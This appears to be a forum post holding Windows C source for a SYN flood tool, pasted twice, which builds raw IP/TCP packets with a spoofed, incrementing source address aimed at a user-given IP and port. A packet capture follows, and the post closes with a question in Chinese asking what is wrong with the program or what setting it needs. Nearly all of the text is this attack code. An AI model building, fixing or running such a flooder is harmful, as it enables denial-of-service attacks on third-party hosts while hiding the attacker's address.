#include <winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <conio.h>#define FAKE_IP "201.79.131.18"
#define SEQ 0x28376839
#define right "===============Coder Paris-ye====================\n"
USHORT checksum(USHORT *buffer, int size);
int flood(); typedef struct tcphdr
{
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
} TCP_HEADER;typedef struct iphdr
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
} IP_HEADER;struct
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
} PSD_HEADER;WSADATA wsaData;
SOCKET sockMain = (SOCKET) NULL;
int ErrorCode=0,flag=0,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
unsigned short activPort=40000;
struct sockaddr_in sockAddr;
TCP_HEADER tcpheader;
IP_HEADER ipheader;
char sendBuf[128];USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size) cksum+=*(UCHAR*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}int main(int argc, char* argv[])
{
int portNum=0;
DWORD dw;
HANDLE hThread=NULL;
char putInfo; if(argc!=3)
{
printf("%s\n",right);
printf("Invalid command,Pls use:\n%s <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]);
return 1;
}
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
{
printf("WSAStartup failed: %d\n",ErrorCode);
return 2;
} sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if(sockMain==INVALID_SOCKET)
{
printf("Socket failed: %d\n",WSAGetLastError());
return 3;
}
ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt failed: %d\n",WSAGetLastError());
return 4;
}
ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt time out failed: %d\n",WSAGetLastError());
return 5;
}
portNum=atoi(argv[2]); memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family=AF_INET;
sockAddr.sin_addr.s_addr =inet_addr(argv[1]);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet); ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ipheader.ident = 1;
ipheader.frag_and_flags = 0;
ipheader.ttl = 128;
ipheader.proto = IPPROTO_TCP;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
ipheader.destIP = inet_addr(argv[1]); tcpheader.th_dport=htons(portNum);
tcpheader.th_sport = htons(portNum);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_ack = 0;
tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
tcpheader.th_flag = 2;
tcpheader.th_win = htons(16384);
tcpheader.th_urp = 0;
tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP;
PSD_HEADER.daddr=ipheader.destIP;
PSD_HEADER.mbz=0;
PSD_HEADER.ptcl=IPPROTO_TCP;
PSD_HEADER.tcpl=htons(sizeof(tcpheader));
printf("%s\n",right);
printf("Warning[start to running]...........\nPress any key to stop!\n");
putInfo=getch();
hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,CREATE_SUSPENDED,&dw);
SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST);
ResumeThread(hThread);
printf("Warning[RUNNING]...........\nPress any key to stop!\n");
putInfo=getch();
TerminateThread(hThread,0);
WSACleanup();
printf("\nStopd...........\n");
return 0;
}int flood()
{
while(1)
{
if(SendSEQ++==65536) SendSEQ=1;
if(activPort++==40010) activPort=1000;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_sport = htons(activPort);
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader)); memcpy(sendBuf,&ipheader,sizeof(ipheader));
memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
dataSize=sizeof(ipheader)+sizeof(tcpheader);
ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
memcpy(sendBuf,&ipheader,sizeof(ipheader));
ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
if(ErrorCode==SOCKET_ERROR)
{
printf("\nCan't connect this IP!Pls check it.\n");
ExitThread(1);
}
// Sleep(1000);
break;
}
return 0;
}
#include <Ws2tcpip.h>
#include <stdio.h>
#include <conio.h>#define FAKE_IP "201.79.131.18"
#define SEQ 0x28376839
#define right "===============Coder Paris-ye====================\n"
USHORT checksum(USHORT *buffer, int size);
int flood(); typedef struct tcphdr
{
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
} TCP_HEADER;typedef struct iphdr
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
} IP_HEADER;struct
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
} PSD_HEADER;WSADATA wsaData;
SOCKET sockMain = (SOCKET) NULL;
int ErrorCode=0,flag=0,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
unsigned short activPort=40000;
struct sockaddr_in sockAddr;
TCP_HEADER tcpheader;
IP_HEADER ipheader;
char sendBuf[128];USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}
if(size) cksum+=*(UCHAR*)buffer;
cksum=(cksum >> 16)+(cksum&0xffff);
cksum+=(cksum >>16);
return (USHORT)(~cksum);
}int main(int argc, char* argv[])
{
int portNum=0;
DWORD dw;
HANDLE hThread=NULL;
char putInfo; if(argc!=3)
{
printf("%s\n",right);
printf("Invalid command,Pls use:\n%s <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]);
return 1;
}
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
{
printf("WSAStartup failed: %d\n",ErrorCode);
return 2;
} sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if(sockMain==INVALID_SOCKET)
{
printf("Socket failed: %d\n",WSAGetLastError());
return 3;
}
ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt failed: %d\n",WSAGetLastError());
return 4;
}
ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt time out failed: %d\n",WSAGetLastError());
return 5;
}
portNum=atoi(argv[2]); memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family=AF_INET;
sockAddr.sin_addr.s_addr =inet_addr(argv[1]);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet); ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ipheader.ident = 1;
ipheader.frag_and_flags = 0;
ipheader.ttl = 128;
ipheader.proto = IPPROTO_TCP;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
ipheader.destIP = inet_addr(argv[1]); tcpheader.th_dport=htons(portNum);
tcpheader.th_sport = htons(portNum);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_ack = 0;
tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
tcpheader.th_flag = 2;
tcpheader.th_win = htons(16384);
tcpheader.th_urp = 0;
tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP;
PSD_HEADER.daddr=ipheader.destIP;
PSD_HEADER.mbz=0;
PSD_HEADER.ptcl=IPPROTO_TCP;
PSD_HEADER.tcpl=htons(sizeof(tcpheader));
printf("%s\n",right);
printf("Warning[start to running]...........\nPress any key to stop!\n");
putInfo=getch();
hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood,0,CREATE_SUSPENDED,&dw);
SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST);
ResumeThread(hThread);
printf("Warning[RUNNING]...........\nPress any key to stop!\n");
putInfo=getch();
TerminateThread(hThread,0);
WSACleanup();
printf("\nStopd...........\n");
return 0;
}int flood()
{
while(1)
{
if(SendSEQ++==65536) SendSEQ=1;
if(activPort++==40010) activPort=1000;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_sport = htons(activPort);
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader)); memcpy(sendBuf,&ipheader,sizeof(ipheader));
memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
dataSize=sizeof(ipheader)+sizeof(tcpheader);
ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
memcpy(sendBuf,&ipheader,sizeof(ipheader));
ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
if(ErrorCode==SOCKET_ERROR)
{
printf("\nCan't connect this IP!Pls check it.\n");
ExitThread(1);
}
// Sleep(1000);
break;
}
return 0;
}
Status: 0x00
Packet Length:78
Timestamp: 20:26:37.455152 12/29/2004
Ethernet Header
Destination: **:**:**:**:**:** ********** [0-5]
Source: ??:??:??:??:??:?? ????????? [6-11]
Protocol Type:0x0800 IP [12-13]
IP Header - Internet Protocol Datagram
Version: 4 [14 Mask 0xF0]
Header Length: 5 (20 bytes) [14 Mask 0x0F]
Type of Service: %00000000 [15]
Precedence: Routine, Normal Delay, Normal Throughput, Normal Reliability
Total Length: 60 [16-17]
Identifier: 7651 [18-19]
Fragmentation Flags: %000 May Fragment Last Fragment [20 Mask 0xE0]
Fragment Offset: 0 (0 bytes) [20-21 Mask 0x1FFF]
Time To Live: 128 [22]
Protocol: 255 [23]
Header Checksum: 0x3F01 [24-25]
Source IP Address: ??.??.??.?? ????????? [26-29]
Dest. IP Address: **.**.**.** [30-33]
No IP Options
IP Data Area:
E..(......9..O.. 45 00 00 28 01 00 00 00 80 06 39 EB C9 4F 83 13 [34-49]
.....A.P(7h:.... C0 A8 02 17 9C 41 00 50 28 37 68 3A 00 00 00 00 [50-65]
[email protected]... 50 02 40 00 33 BD 00 00 [66-73]
Frame Check Sequence: 0x00000000 [74-77]
请问上面的程序到底哪里出了问题?或者是需要设置哪里才可以?